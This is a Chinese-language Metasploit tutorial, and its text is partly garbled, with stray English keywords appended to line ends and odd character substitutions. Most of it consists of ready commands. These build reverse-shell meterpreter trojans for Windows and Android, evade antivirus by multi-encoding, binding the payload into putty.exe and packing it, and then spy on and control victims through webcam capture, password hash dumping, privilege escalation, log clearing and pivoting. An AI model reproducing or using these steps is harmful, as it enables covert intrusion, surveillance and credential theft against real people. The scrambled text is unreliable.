Metasploit是一款開源的滲透測試框架平臺,到目前爲止,msf已經內置了數千個已披露的漏洞相關的模塊和滲透測試工具,模塊使用ruby語言編寫,這使得使用者可以根據須要對模塊進行適當修改,甚至是調用本身寫的測試模塊。選定須要使用的攻擊模塊以後,你只須要使用簡單的命令配置一些參數就能完成針對一個漏洞的測試和利用,將滲透的過程自動化、簡單化。linux
Windows平臺android
首先從官方網站下載安裝程序:git
http://downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exegithub
默認端口:3650web
Linux平臺shell
從github獲取數據庫
Kali Linux自帶了Metasploit以及自動化滲透工具Armitagewindows
Android平臺api
安卓安裝Metasploit其實是先在安卓上安裝一個linux子系統,而後再在此基礎上安裝Metasploit,雖然過程複雜繁瑣,但在企業網絡環境下進行滲透測時,拎着一臺筆記本接入網絡也許會太過顯眼,這種狀況下在安卓手機或平板上安裝Metasploit也不失爲一種選擇瀏覽器
前提:安卓手機或平板須要root權限
一般選擇安裝Termux做爲基本環境,啓動後會聯網下載系統,具體時間視網絡環境長短不一,因此你能夠選擇在這時候睡個午覺什麼的 =.=#
Termux使用apt包管理器,執行如下命令更新
apt-get update && apt-get upgrade -y && apt dist-upgrade -y
接下來的安裝Metasploit和上述linux平臺安裝相同
Terminal下msf經常使用命令簡介
msfdb init msf數據庫初始化 apt install metasploit framework msf更新 msfVENOM 多平臺攻擊載荷生成器 msf-nasm_shell 將彙編指令轉換成爲對應的16進制機器碼 msfconsole 打開msf終端
msf終端下經常使用命令簡介
db_status 查看數msf據庫鏈接狀態,鏈接數據庫可以優化搜索等過程 db_rebuild_cache 重建緩存,將模塊等索引從新存入數據庫 db_nmap 調用nmap掃描,並將掃描結果存入數據庫 help [db_connect] 顯示命令的幫助信息 search [module] 搜索含有關鍵字的模塊 use [module] 選擇使用一個模塊(以ms17_010永恆之藍爲例) show payload 顯示該模塊支持的payload show options 顯示該模塊須要設置的參數(其中required爲no的表示不是必須的參數) info 若是以爲show命令顯示的不夠完整能夠直接輸入info查看詳細詳細 set [opt] 使用模塊後,設置模塊所須要的參數的值(對應使用unset取消設置的值) setg [opt] 設置全局參數,對於ip之類的參數能夠設置爲全局,當切換模塊後就不須要再次設置ip參數(對應使用unsetg取消設置) back 返回上級狀態 exploit/run 兩個命令都表示運行攻擊模塊 sessions 查看當前鏈接的會話
3. 使用msfvenom生成木馬文件
tips:關於payload的選擇,出於防火牆等多種緣由,目標主機上可能會限制外網對內網一些端口的訪問,甚至是隻開放一些端口而後關閉其餘全部端口。在這種狀況下,讓目標主機回連攻擊者成爲更好的一種選擇,這種模式至關於目標主機本身發出一個對外的鏈接請求,屬於正常的流量,所以能夠繞過安全設置,因此在選擇payload時廣泛選擇使用帶reverse的payload。通常32位使用windows/meterpreter_reverse_tcp 而64位的使用windows/x64/meterpreter_reverse_tcp。固然仍然須要根據不一樣的需求選擇不一樣的載荷
查看可以使用的載荷/編碼器/nops/全部列表
msfvenom -l payload/encoders/nops/all
查看可生成的木馬文件格式,使用-f 指定木馬格式
msfvenom --help-format
生成64位的exe木馬
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -a x64 -f exe -o backdoor_raw.exe
生成安卓木馬
msfvenom -p android/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -o backdoor_raw.apk
msf終端監聽會連回話
use exploit/multi/handler
該模塊用於接收回連會話,通常只須要設置監聽主機和端口號
4. 木馬免殺
使用多個編碼器混合進行多重編碼
不推薦使用,免殺率低,編碼時間長,且生成的木馬可能會出現沒法運行或運行後沒法回連到攻擊端的狀況
"-f raw" 表示生成原始木馬,這種經過管道生成的木馬只須要不斷傳遞,因此只須要在最後一條命令指定生成的格式,而在此以前都應該使用raw的原始木馬
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.16.99 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -i 5 -a x86 --platform windows -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f exe -o backdoor_encoder.exe
捆綁到正常文件中
推薦使用,捆綁木馬到正常文件後可以使用戶放鬆警戒,所以在實際生活中,咱們應該注意比對文件與官方提供的hash值
選擇捆綁目標時,有可能出現捆綁後沒法運行的狀況,這種狀況下能夠嘗試使用編碼器,或者更換捆綁目標,這裏以putty做爲例子
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -x putty.exe -k -f exe -o backdoor_putty.exe
加殼
推薦使用,加殼技術可以必定程度上繞過殺軟的檢測,這裏使用linux上廣泛使用的upx加殼爲例,windows上加殼的工具也有許多,可自行選擇
upx -5 backdoor_raw.elf -5 表示壓縮等級(1-9),詳細命令參考upx -h
上述方法綜合使用
附上一個在線檢測木馬的網站: http://www.virscan.org/
5. meterpreter後滲透利用
經過exploit/multi/handler模塊監聽,並與目標主機創建鏈接後,可以使用meterpreter進行後滲透利用
pwd 打印當前工做目錄 sysinfo 查看系統信息 ps 查看當前目標機上運行的進程列表和pid webcam_snap 調用相機拍攝照片(使用webcam_stream可以經過瀏覽器模擬錄像機,實現實時監控) run vnc 運行vnc遠程查看屏幕(run screen_unlock實現遠程控制) run post/windows/manage/enable_rdp 若是目標主機是windows系統,使用該命令開啓目標的遠程桌面3389 screenshot 截取目標主機當前屏幕 getuid 獲取當前權限的用戶id getsystem 獲取system權限 hashdump 獲取用戶名與hash口令 shell 獲取目標主機shell(windows環境下中文亂碼的解決辦法:chcp 65001 Ctrl+Z 退出shell模式,返回到meterpreter upload 上傳一個文件 download 下載一個文件 excute 執行目標系統中的文件(-f 指定文件,-i執行可交互模式,-H隱藏窗口) clearev 清除日誌 background 將Meterpreter放入後臺(使用session -i從新鏈接到會話)
6. Meterpreter進行內網滲透簡介
在滲透過程當中,當你拿到一臺可以鏈接公網的的主機的權限時,這臺主機可能還鏈接着一個內部的局域網絡,並且這個局域網內的其餘主機沒有對外訪問的權限。這是一種很常見的局域網模式,一般一些沒法鏈接外網的主機內可能存放着一些敏感文件,此時能夠經過以及控制的那臺主機做爲攻擊者訪問內網的跳板,用來實施對內網的滲透
添加到達內網的路由
run get_local_subnets 獲取目標主機上的子網狀態,其中192.168.16.0和攻擊機在同一個網段,169.254.0.0是vritualbox的內部網卡模式 run autoroute -s 169.254.0.0/16 1 使用autoroute模塊添加到達內網的路由經session 1轉發 run autoroute -p 查看當前的路由表,能夠看到發往169.254.0.0網段的流量都將經過session 1轉發
接下來就能夠在msf下使用db_nmap掃描內網存活主機,針對內網的開放端口進行攻擊
portfwd端口轉發
端口轉發可以將內網端口轉發到本地主機的端口,至關於virtualbox的端口映射功能。
portfwd -h 查看幫助信息 portfwd add -l 7070 -r 192.168.16.59 -p 3389 將目標主機192.168.16.59的3389轉發到本地主機的7070端口 rdesktop 127.0.0.1:7070 端口轉發成功後就能夠從本地端口鏈接rdp
參考書籍《Metasploit The Penetration Tester's Guide.》《Metasploit滲透測試指南(修訂版)》